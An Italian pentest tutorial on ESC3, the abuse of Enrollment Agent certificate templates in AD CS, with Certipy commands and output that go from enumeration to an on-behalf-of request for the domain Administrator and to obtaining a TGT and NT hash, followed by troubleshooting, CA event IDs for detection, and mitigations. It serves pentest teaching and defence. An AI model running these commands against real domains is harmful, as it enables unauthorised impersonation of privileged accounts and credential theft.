ESC3 AD CS: Enrollment Agent e Active Directory Privesc

Guida pratica a ESC3 in AD CS: enumera i template con Certipy, analizza i certificati Enrollment Agent e approfondisci la privilege escalation in Windows AD.
- Pubblicato il 2026-03-07
- Tempo di lettura: 6 min
ESC3 in Active Directory Certificate Services: abuso del Certificate Request Agent (Enrollment Agent) #
ESC3 è una tecnica di Active Directory Privilege Escalation tramite AD CS che sfrutta i certificati Enrollment Agent: un Enrollment Agent è un’identità autorizzata a richiedere certificati per conto di un altro utente, un meccanismo pensato originariamente per smart card e scenari di enrollment delegato.
Il punto che la bozza originale di questo articolo semplificava troppo: possedere un certificato Enrollment Agent non significa automaticamente poter richiedere certificati per qualsiasi account del dominio. La catena dipende anche da un secondo template (il target), dalle Enrollment Agent Restrictions eventualmente configurate sulla CA, e da requisiti di approvazione che possono bloccare la richiesta in qualsiasi punto.
Glossario rapido #
| Termine | Significato in una riga |
|---|---|
| AD CS | Il servizio di Active Directory che emette certificati digitali. |
| Enrollment Agent / Certificate Request Agent | EKU (OID 1.3.6.1.4.1.311.20.2.1) che permette di firmare richieste di certificato per conto di un altro account. |
| Template agente | Il template da cui ottieni il certificato Enrollment Agent (fase 1). |
| Template target | Il template usato per richiedere il certificato finale a nome della vittima (fase 2) — deve a sua volta consentire l’autenticazione. |
| on-behalf-of | Flag di Certipy che usa il certificato agente per firmare una richiesta a nome di un altro account. |
| Enrollment Agent Restrictions | Impostazione a livello di CA (non di template) che limita quali agenti, quali template e quali soggetti target sono autorizzati — può bloccare l’attacco anche con un certificato agente valido. |
| Schema Version (template V1/V2+) | I template V1 non hanno il concetto di firme autorizzate; i V2+ possono richiederle. |
| Authorized Signatures Required | Sui template V2+, il numero di certificati agente necessari a co-firmare una richiesta — se 0, basta un agente singolo. |
Per i concetti base: Certipy: guida completa, EKU OID in AD CS: guida per il pentest. Per la tecnica strettamente correlata basata su EKU Any Purpose: ESC2.
Due certificati, due ruoli distinti #
Vale la pena chiarirlo prima di passare ai comandi, perché la bozza originale confondeva i due file:
- Template agente → produce
attacker.pfx: il certificato con EKU Certificate Request Agent e la relativa chiave privata. Da solo non impersona nessuno. - Richiesta on-behalf-of → usa
attacker.pfxper firmare una richiesta contro il template target, rispettando le policy della CA. - Certificato finale → produce
administrator.pfx: il certificato emesso per il soggetto target, se la richiesta viene accettata. Solo questo, se valido e accettato dal KDC, permette di autenticarsi come quel soggetto.
Il possesso del primo file non garantisce di ottenere il secondo: in mezzo ci sono controlli della CA che possono fermare la catena.
Quando esiste ESC3: la checklist completa #
La bozza originale elencava tre condizioni generiche. Per capire se la catena è davvero percorribile servono più voci:
| Condizione | Da verificare | Perché conta |
|---|---|---|
| Template agente con EKU Certificate Request Agent | Diritto Enroll per il tuo account | Senza questo non ottieni il certificato agente |
| Template agente pubblicato su una CA Enterprise | Presente e abilitato, non solo definito in AD | Un template non pubblicato non è richiedibile |
| Approvazione sul template agente | Manager approval disabilitata, o richiesta già approvata | Una richiesta pendente non è un certificato utilizzabile |
| Firme autorizzate sul template agente | Authorized Signatures Required | Se >0, può bloccare già la fase 1 |
| Template target con EKU idoneo all’autenticazione | Es. Client Authentication | Il certificato finale deve poter autenticare il soggetto previsto |
| Permessi di enrollment sul template target | Il tuo account (non la vittima) deve poterlo richiedere | Il certificato agente non sostituisce le ACL di enrollment del target |
| Enrollment Agent Restrictions sulla CA | Quali agenti/template/soggetti sono autorizzati | La CA può bloccare la delega indipendentemente dal template |
| Approvazione sul template target | Manager approval, firme richieste | Anche la seconda richiesta può essere sospesa o respinta |
| Trust e mapping dell’autenticazione | Catena CA attendibile, certificate mapping sul DC | Un certificato emesso non garantisce da solo il logon |
Template agente vs template target: Schema V1 contro V2+ #
Stessa distinzione fondamentale vista in ESC2: i template Schema Version 1 (es. i built-in User, Machine) non hanno il concetto di firme autorizzate nella stessa forma dei template successivi — per questo sono i target “classici” di ESC3. Ma Schema Version 1 non significa automaticamente vulnerabile: restano da verificare permessi, pubblicazione sulla CA e le Enrollment Agent Restrictions.
| Caratteristica | Template Schema 1 | Template Schema 2+ |
|---|---|---|
| Authorized Signatures Required | Non supportato come nei template successivi | Configurabile, può richiedere più agenti |
| Controllo dell’EKU agente in emissione | Meno granulare | Vincolabile con Required Application Policies |
| Sfruttabilità ESC3 | Dipende comunque da permessi, CA e autenticazione | Dipende anche dalle policy e dalle firme richieste |
Identificazione con Certipy #
certipy find -u 'attacker@corp.local' -p 'Passw0rd!' -dc-ip 10.0.0.100 -vulnerable -stdoutSul template agente:
Template Name : EnrollAgent
Enrollment Agent : True
Extended Key Usage : Certificate Request Agent
[!] Vulnerabilities
ESC3 : Template has Certificate Request Agent EKU setSul possibile template target:
Template Name : User
Client Authentication : True
Schema Version : 1
Remarks
ESC3 Target TemplateDa non dare per scontato: ESC3 Target Template nelle Remarks segnala un candidato, non una conferma che la catena sia completa — mancano ancora la verifica dei tuoi permessi effettivi di enrollment su quel template e delle Enrollment Agent Restrictions della CA, che certipy find da solo non sempre esaurisce.
Exploitation #
Step 1 — Ottenere il certificato Enrollment Agent
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -target CA.CORP.LOCAL -ca CORP-CA \
-template EnrollAgentSuccessfully requested certificate
Saving certificate to attacker.pfxQuesto conferma solo che hai ottenuto il certificato agente — non ancora che potrai usarlo contro il target scelto.
Step 2 — Richiedere il certificato per Administrator usando l’agente
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -target CA.CORP.LOCAL -ca CORP-CA \
-template User \
-pfx attacker.pfx \
-on-behalf-of 'CORP\Administrator'Due correzioni rispetto alla bozza originale:
'CORP\Administrator'va tra apici singoli — senza quoting, Bash può alterare il backslash prima che raggiunga Certipy.- Il formato richiesto da Certipy è
NOME_NETBIOS_DOMINIO\samAccountName(es.CORP\Administrator), non il nome DNS completo del dominio (corp.local\Administratornon è il formato corretto).
Successfully requested certificate
Saving certificate to administrator.pfxAnche qui, il messaggio confirma solo che la CA ha accettato la richiesta on-behalf-of — non che il certificato risultante autenticherà con successo.
Step 3 — Verificare il certificato prima di autenticarti
Su Windows, con il certificato esportato:
certutil -dump administrator.cerControlla: il subject/SAN contiene davvero l’identità attesa, è presente il SID del soggetto (se la CA lo include), e l’EKU è compatibile con l’autenticazione.
Step 4 — Autenticazione
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.100Got TGT
Got NT hash for 'administrator'Tre esiti distinti, non uno solo #
| Esito | Cosa confirma | Cosa NON confirma |
|---|---|---|
| Certificato finale emesso (Step 2) | La richiesta on-behalf-of è stata accettata dalla CA | Che il KDC accetterà il certificato per il logon |
Got TGT | L’autenticazione Kerberos è riuscita per l’identità prevista | Che l’hash NT sia stato recuperato |
Got NT hash | È stata recuperata con successo quell’operazione aggiuntiva | Che tu abbia accesso amministrativo su ogni sistema del dominio |
L’impersonation di un account privilegiato può avere un impatto molto alto, ma non equivale automaticamente a una shell amministrativa ovunque: dipende dai privilegi reali del soggetto impersonato e da cosa quel contesto Kerberos permette di raggiungere.
Troubleshooting #
| Sintomo | Cosa verificare |
|---|---|
| Step 1 fallisce | Diritto Enroll effettivo sul template agente, Manager Approval attivo, pubblicazione sulla CA target |
| Step 1 riesce ma Step 2 viene rifiutato | Enrollment Agent Restrictions sulla CA: può escludere il tuo account, il template agente o il template target indipendentemente da ACL e EKU |
| Step 2 fallisce con errore sulle firme | Authorized Signatures Required > 0 sul template target V2+ — un singolo certificato agente non basta |
-on-behalf-of viene rifiutato con errore di formato | Verifica di usare NETBIOS\samAccountName, tra apici singoli, non il FQDN del dominio |
Certificato finale emesso ma certipy auth rifiuta l’autenticazione | Possibile problema di certificate mapping sul DC, non di ESC3 — vedi ESC9, ESC10 o ESC16 |
| TGT ottenuto ma non il recupero dell’hash NT | Sono due operazioni distinte (la seconda richiede un passo aggiuntivo tipo U2U) — non trattarlo come fallimento della catena |
Detection #
Distingui tre livelli, come per ESC2:
1. Identificazione della misconfigurazione: certipy find come sopra — assessment, non detection di un abuso in corso.
2. Monitoraggio sulla CA:
| Evento | Significato |
|---|---|
| 4886 | Richiesta di certificato ricevuta |
| 4887 | Certificato approvato ed emesso |
| 4888 | Richiesta negata |
| 4889 | Richiesta messa in sospeso (in attesa di approvazione) |
| 4891 / 4892 | Modifica della configurazione della CA / delle proprietà — utile per rilevare chi ha allargato le Enrollment Agent Restrictions |
Questi eventi richiedono l’auditing abilitato sia sul filtro della CA sia tramite Advanced Audit Policy del sistema operativo — e da soli non sono indicatori univoci di abuso: una richiesta on-behalf-of legittima (es. per smart card) genera eventi simili. Serve correlare richiedente, template e soggetto target, non limitarsi all’ID evento.
3. Verifica dell’impatto: quali certificati emessi tramite on-behalf-of hanno portato a un’autenticazione riuscita, e con quali privilegi.
Mitigation #
- Limitare l’enrollment sui template agente — non concederlo a
Domain Users/Authenticated Users. - Configurare le Enrollment Agent Restrictions sulla CA: questa è la mitigazione più diretta, non “usare template V2+” in generale. Limita esplicitamente quali principal possono fare da agente, su quali template target, e per quali soggetti.
- Abilitare Manager Approval su entrambi i template dove il processo lo consente.
- Sui template target V2+, impostare Authorized Signatures Required per richiedere più di un agente.
- Rimuovere dalla CA i template agente non più necessari — non serve eliminare i template V1 predefiniti (non è possibile farlo per i built-in), basta non pubblicarli se non servono.
- In caso di abuso confermato: individuare e revocare i certificati compromessi, e valutare la rotazione delle chiavi/account coinvolti in base all’incidente.
FAQ #
Cos’è ESC3? Una tecnica che sfrutta i certificati Enrollment Agent (EKU Certificate Request Agent) per richiedere certificati a nome di altri account, quando un template lo consente e non ci sono restrizioni bloccanti sulla CA.
Un Enrollment Agent può richiedere certificati per qualsiasi utente del dominio? No — solo per i soggetti permessi dalla combinazione di template target, permessi di enrollment, Enrollment Agent Restrictions della CA e requisiti di approvazione/firma.
ESC3 porta sempre a Domain Admin? Può, se esiste una catena completa fino a un account effettivamente privilegiato e l’autenticazione finale riesce — non è un risultato garantito dalla sola esistenza di un certificato agente.
ESC3 è simile a ESC2?
Sì nello sfruttamento finale (richiesta on-behalf-of), ma diverso nell’origine: ESC2 nasce da un’EKU Any Purpose o vuota, ESC3 da un’EKU Certificate Request Agent esplicita su un template dedicato.
Perché certipy req riesce ma certipy auth fallisce?
Spesso per problemi di certificate mapping sul Domain Controller, indipendenti da ESC3 — vale la pena controllare se è in gioco ESC9, ESC10 o ESC16.
Guida completa a tutte le tecniche ESC1–ESC16: AD CS Privilege Escalation con Certipy.
Fonti tecniche: Certipy — Privilege Escalation Wiki, SpecterOps / Ghostpack — ESC3: Misconfigured Certificate Request Agent.








